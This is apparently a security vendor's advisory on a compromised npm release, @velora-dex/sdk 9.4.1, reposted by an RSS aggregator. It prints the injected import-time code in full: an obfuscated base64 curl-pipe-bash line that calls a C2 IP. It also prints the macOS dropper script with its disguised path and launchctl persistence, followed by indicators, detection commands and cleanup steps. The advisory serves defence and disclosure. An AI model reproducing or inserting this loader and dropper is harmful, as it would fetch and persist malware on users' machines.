



























On April 7, 2026, a malicious version of @velora-dex/sdk (v9.4.1) was published to npm. The VeloraDEX SDK is a DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralized exchange platform. The compromised version contains code injected directly into dist/index.js that executes immediately when the package is imported. There is no install hook involved: the payload fires on the first require() or import call.
The injected code downloads a shell script from a C2 server at 89.36.224.5, which drops an architecture-specific macOS binary and registers it as a persistent service using launchctl. The malicious build was published straight to the npm registry with no corresponding commit in the source repository. You can find more details in StepSecurity AI package analyst here.

The compromise was initially reported by Charlie Eriksen from Aikido in GitHub isssue #233.
Action required: If you have installed @velora-dex/sdk@9.4.1, treat the machine and all secrets accessible from it as compromised. Pin to version 9.4.0 or earlier and rotate all credentials immediately.
The attacker published version 9.4.1 directly to npm without making any changes to the GitHub repository. Comparing the published tarballs reveals that only two files differ between 9.4.0 and 9.4.1:
package.json: version bump from 9.4.0 to 9.4.1dist/index.js: three malicious lines prependedNo src/ files, no other dist artifacts (sdk.cjs.production.min.js, sdk.esm.js, etc.) were modified. This is a hallmark of a registry-only attack where the malicious build was crafted and published outside the normal CI/CD pipeline.
The package main entry point (dist/index.js) had three lines prepended before the legitimate code:
'use strict'
const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});This fires the moment any code calls require('@velora-dex/sdk'). Unlike many npm supply chain attacks that rely on postinstall hooks (which can be disabled with --ignore-scripts), this payload runs at import time, making it harder to avoid.
The base64 decodes to:
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1Key details:
nohup detaches the process from the parent, so it survives even if the Node.js process exitscurl -fsSL downloads silently, following redirects> /dev/null 2>&1 suppresses all output so the user sees nothing(base64 --decode 2>/dev/null || base64 -D) pattern handles both Linux (--decode) and macOS (-D) base64 implementationsStepSecurity's Harden-Runner captured the full install.sh script through process event monitoring during a controlled analysis run. Here is the complete payload:
TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"
PROFILER_PATH="$TERMINAL_DIR/profiler"
mkdir -p "$TERMINAL_DIR"
if [[ "$(uname)" == "Darwin" ]]; then
if [[ "$(uname -m)" == "arm64" ]]; then
curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler
else
curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler
fi
fi
chmod +x "$PROFILER_PATH"
launchctl submit -l zsh.profiler -- "$PROFILER_PATH"The malware employs several evasion techniques:
~/Library/Application Support/com.apple.Terminal/, a path that mimics a legitimate macOS Terminal application support directory. A human reviewing the filesystem would likely skip over it.profiler, a generic name that blends in with system tools.launchctl submit -l zsh.profiler command registers the binary as a persistent macOS service. It will survive reboots and run as the current user without requiring elevated privileges.uname check ensures the binary download only occurs on macOS. On Linux CI runners (like GitHub Actions), the script runs but the if block is skipped, meaning no binary is downloaded, but the C2 connection to 89.36.224.5 is still made when curl fetches install.sh.StepSecurity ran the compromised package in a controlled GitHub Actions environment with Harden-Runner in audit mode. This captured the complete kill chain: network connections, process tree, and file system activity.

Harden-Runner recorded the following network activity during the install-compromised-package job:
| Step | Destination | Port | Process |
|---|---|---|---|
| Install compromised package | registry.npmjs.org | 443 | npm (PID 2362) |
| Import package to trigger runtime payload | 89.36.224.5 | 80 | curl (PID 2391) |
The first row is expected: npm install downloading the package from the registry. The second row is the malicious C2 contact: curl reaching out to 89.36.224.5 over plaintext HTTP to download the install.sh dropper. This connection happened during the require() call, not during installation, confirming the import-time trigger.
Harden-Runner's process monitoring captured every process spawned during the attack. Here is the complete chain from the require() call to the final persistence attempt:
node (PID 2379) // require('@velora-dex/sdk')
/bin/sh (PID 2386) echo '...' | base64 --decode | bash
base64 (PID 2390) --decode
bash (PID 2389)
curl (PID 2391) -fsSL http://89.36.224.5/troubleshoot/mac/install.sh
nohup bash (PID 2393) // executes install.sh
mkdir (PID 2394) -p ~/Library/Application Support/com.apple.Terminal
uname (PID 2395) // checks for Darwin (macOS)
chmod (PID 2396) +x .../profilerNotable observations from the process tree:
nohup was used to detach the malware execution from the parent Node.js process, ensuring it continues running even if the importing script exitsuname returned Linux (not Darwin), so the binary download was skipped, but the directory creation and chmod still executedView the full Harden-Runner insights for this run: Harden-Runner Insights Dashboard
⛔ curl http://89.36.224.5/troubleshoot/mac/install.sh → BLOCKED
This is what Harden-Runner does
Real-time network egress monitoring for GitHub Actions. The C2 callback to 89.36.224.5 would have been detected and blocked before the malware could download the binary or establish persistence.
89.36.224.5http://89.36.224.5/troubleshoot/mac/install.shhttp://89.36.224.5/mac/arm/driver/profiler (ARM64 binary)http://89.36.224.5/mac/intel/driver/profiler (Intel binary)~/Library/Application Support/com.apple.Terminal/profilerlaunchctl service named zsh.profiler@velora-dex/sdk@9.4.1bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYxSearch for the compromised version across all PRs and default branches in your organization:
Search for @velora-dex/sdk@9.4.1 across your organization →
You can also search your codebase directly:
# Search for the compromised version in lockfiles
grep -r "velora-dex/sdk" --include="package-lock.json" --include="yarn.lock" --include="pnpm-lock.yaml" .
# Check if version 9.4.1 is installed
npm list @velora-dex/sdk 2>/dev/null | grep 9.4.1Check your Harden-Runner org baseline for any outbound connections to the C2 server:
Check for connections to 89.36.224.5 in your Harden-Runner baseline →
If 89.36.224.5 appears in your baseline, the compromised package was imported in one of your workflow runs and successfully contacted the C2 server.
Check for the malware on macOS machines:
# Check for the dropped binary
ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler
# Check for the launchctl service
launchctl list | grep zsh.profiler
# Check npm cache for the compromised version
find ~/.npm/_cacache -name "*.tgz" 2>/dev/null | xargs strings 2>/dev/null | grep "89.36.224.5"
If you use StepSecurity Developer MDM, you can search for this package across all enrolled developer machines:
Search developer machines for @velora-dex/sdk@9.4.1 →
npm install @velora-dex/sdk@9.4.0If the compromised version was installed or imported on a macOS machine, remove the dropped binary and persistence mechanism:
# Stop and remove the persistent service
launchctl remove zsh.profiler
# Remove the dropped binary
rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler
# Remove the entire fake directory if empty
rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/nullTreat any secret that was present on the machine at the time of installation as compromised. This includes:
~/.ssh/)Check firewall or proxy logs for outbound connections to 89.36.224.5. Any connection to this IP confirms the malware executed and may have downloaded additional payloads.
Harden-Runner monitors all outbound network connections from GitHub Actions runners. In block mode, it would have prevented the curl call to 89.36.224.5 from succeeding, stopping the attack before the binary could be downloaded.
The npm Package Cooldown Check blocks newly published package versions from being adopted in pull requests until a configurable waiting period has elapsed. If a PR had introduced the upgrade to @velora-dex/sdk@9.4.1, the check would have flagged it as too new to trust.
The npm Compromised Package Check maintains a database of known malicious packages and blocks them from being introduced in pull requests. StepSecurity has added @velora-dex/sdk@9.4.1 to this list.
StepSecurity Developer MDM provides visibility into which npm packages are installed on developer machines across your organization, enabling you to identify affected machines within minutes of a compromise disclosure.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。